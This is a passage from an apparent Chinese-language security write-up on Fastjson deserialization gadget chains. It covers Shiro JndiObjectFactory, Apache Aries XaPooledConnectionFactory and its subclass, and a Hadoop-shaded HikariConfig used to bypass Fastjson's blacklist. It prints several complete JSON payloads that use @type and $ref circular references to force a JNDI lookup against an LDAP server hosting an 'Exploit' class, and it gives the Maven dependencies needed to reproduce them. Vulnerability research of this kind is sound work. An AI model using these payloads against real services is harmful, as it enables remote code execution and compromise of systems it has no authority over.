{ this .resourceName = resourceName; } public Class<? extends T > getRequiredType() { return this .requiredType; } public void setRequiredType (Class<? extends T> requiredType) { this .requiredType = requiredType; } }
只有getInstance
没有setter
1 return this .requiredType != null ? this .requiredType.cast(this .lookup(this .resourceName, this .requiredType)) : this .lookup(this .resourceName);
三元表达式调用了lookup
,这里不管requiredType
是否为null
都调用lookup()
1 2 3 4 5 6 7 8 { "@type" : "org.apache.shiro.jndi.JndiObjectFactory" , "resourceName" : "ldap://192.168.100.128:1389/Exploit" , "requiredType" :"x" , "instance" : { "$ref" : "$.instance" } }
同样可以触发
对于
1 2 3 "instance" : { "$ref" : "$.instance" }
同是循环引用,访问根节点(当前 JSON 根节点下)也就是JndiObjectFactory
的instance
属性,Fastjson 会通过反射调用 getInstance()
方法(如果存在)或直接访问 instance
字段来获取值
gadget
1 "@type" : "org.apache.shiro.jndi.JndiObjectFactory" -> setResourceName -> 发现 `$ref` -> 解析 `$.instance` -> 反射调用 `JndiObjectFactory.getInstance().lookup(ResourceName)
FastJson ≤1.2.69 开启AutoType org.apache.aries.transaction.jms.RecoverablePooledConnectionFactory pom
1 2 3 4 5 6 7 8 9 10 11 <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2 .69 </version> </dependency> <dependency> <groupId>org.apache.aries.transaction</groupId> <artifactId>org.apache.aries.transaction.jms</artifactId> <version>2.0 .0 </version> </dependency>
payload
1 2 3 4 5 6 7 8 { "@type" : "org.apache.aries.transaction.jms.RecoverablePooledConnectionFactory" , "tmJndiName" : "ldap://192.168.100.128:1389/Exploit" , "tmFromJndi" : true , "transactionManager" : { "$ref" : "$.transactionManager" } }
在D:\maven_repo\org\apache\aries\transaction\org.apache.aries.transaction.jms\2.0.0\org.apache.aries.transaction.jms-2.0.0.jar!\org\apache\aries\transaction\jms\RecoverablePooledConnectionFactory.class
没有重写getter和setter
跟进到父类org.apache.aries.transaction.jms.internal.XaPooledConnectionFactory#getTransactionManager
如下
1 2 3 4 5 6 7 8 9 10 11 12 13 public TransactionManager getTransactionManager () { if (this .transactionManager == null && this .tmFromJndi) { try { this .transactionManager = (TransactionManager)(new InitialContext ()).lookup(this .getTmJndiName()); } catch (Throwable var2) { if (LOG.isTraceEnabled()) { LOG.trace("exception on tmFromJndi: " + this .getTmJndiName(), var2); } } } return this .transactionManager; }
调用了lookup
参数是this.getTmJndiName()
,要走到这一步需要满足this.transactionManager == null && this.tmFromJndi
,所以"tmFromJndi": true
其实父类是有setter
方法的
但因为
1 2 3 "transactionManager" : { "$ref" : "$.transactionManager" }
循环引用会调用getter
,无论是否有setter
,并且返回值this.transactionManager
为null
,因为并没有传入实际的transactionManager
的值,并且前面private TransactionManager transactionManager;
声明了变量,初始为null
所以满足this.transactionManager == null
gadget
1 "@type" : "org.apache.aries.transaction.jms.RecoverablePooledConnectionFactory" -> 循环引用$.transactionManager -> XaPooledConnectionFactory#getTransactionManager -> lookup(getTmJndiName)
org.apache.aries.transaction.jms.internal.XaPooledConnectionFactory(RecoverablePooledConnectionFactory的父类) pom
1 2 3 4 5 6 7 8 9 10 11 12 13 <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2 .69 </version> </dependency> <!-- https: <dependency> <groupId>org.apache.aries.transaction</groupId> <artifactId>org.apache.aries.transaction.jms</artifactId> <version>2.0 .0 </version> </dependency>
payload
1 2 3 4 5 6 7 8 { "@type" : "org.apache.aries.transaction.jms.internal.XaPooledConnectionFactory" , "tmJndiName" : "ldap://192.168.100.128:1389/Exploit" , "tmFromJndi" : true , "transactionManager" : { "$ref" : "$.transactionManager" } }
D:\maven_repo\org\apache\aries\transaction\org.apache.aries.transaction.jms\2.0.0\org.apache.aries.transaction.jms-2.0.0.jar!\org\apache\aries\transaction\jms\internal\XaPooledConnectionFactory.class
其实是上一个RecoverablePooledConnectionFactory
的父类
1 2 3 4 5 <dependency> <groupId>org.apache.hadoop</groupId> <artifactId>hadoop-client-minicluster</artifactId> <version>3.3 .0 </version> </dependency>
payload
1 2 3 4 { "@type" : "org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig" , "metricRegistry" : "ldap://192.168.100.128:1389/Exploit" }
在D:\maven_repo\org\apache\hadoop\hadoop-client-minicluster\3.3.1\hadoop-client-minicluster-3.3.1.jar!\org\apache\hadoop\shaded\com\zaxxer\hikari\HikariConfig.class
1 setMetricRegistry`调用了`lookup`参数是`metricRegistry
另一种payload
1 2 3 4 { "@type" : "org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig" , "healthCheckRegistry" : "ldap://192.168.100.128:1389/Exploit" }
实际上用的是com.zaxxer.hikari.HikariConfig
的gadget(在1.2.60加入了黑名单),不过在hadoop-client-minicluster
中引入了该依赖,可以绕过黑名单